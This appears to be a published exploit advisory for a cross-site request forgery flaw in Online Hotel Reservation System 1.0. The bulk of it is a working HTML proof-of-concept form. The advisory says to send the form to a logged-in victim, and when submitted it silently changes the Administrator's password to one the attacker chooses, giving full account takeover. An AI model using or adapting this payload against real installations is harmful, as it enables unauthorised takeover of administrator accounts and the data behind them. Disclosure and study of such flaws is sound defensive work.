# Exploit Title: Online Hotel Reservation System 1.0 - Cross-site request forgery (CSRF)# Exploit Author: Mesut Cetin# Date: 2021-01-14# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code# Version: 1.0# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0######## Description ########
Vulnerable to Cross-site request forgery (CSRF), can lead to full account takeover of Administrator account.######## Proof of Concept #########
Send the victim the following PoC:<html><body><script>history.pushState('','','/')</script><form action="http://localhost/marimar/admin/mod_users/controller.php?action=edit" method="POST"><inputtype="hidden" name="USERID" value="1"/><inputtype="hidden" name="UNAME" value="Anonymous"/><inputtype="hidden" name="USERNAME" value="admin"/><inputtype="hidden" name="deptid" value=""/><inputtype="hidden" name="UPASS" value="admin"/><!-- change this to the new password you wish --><inputtype="hidden" name="ROLE" value="Administrator"/><inputtype="hidden" name="deptid" value=""/><inputtype="hidden" name="PHONE" value="912852478"/><inputtype="hidden" name="save" value=""/><inputtype="submit" value="Submit request"/></form></body></html>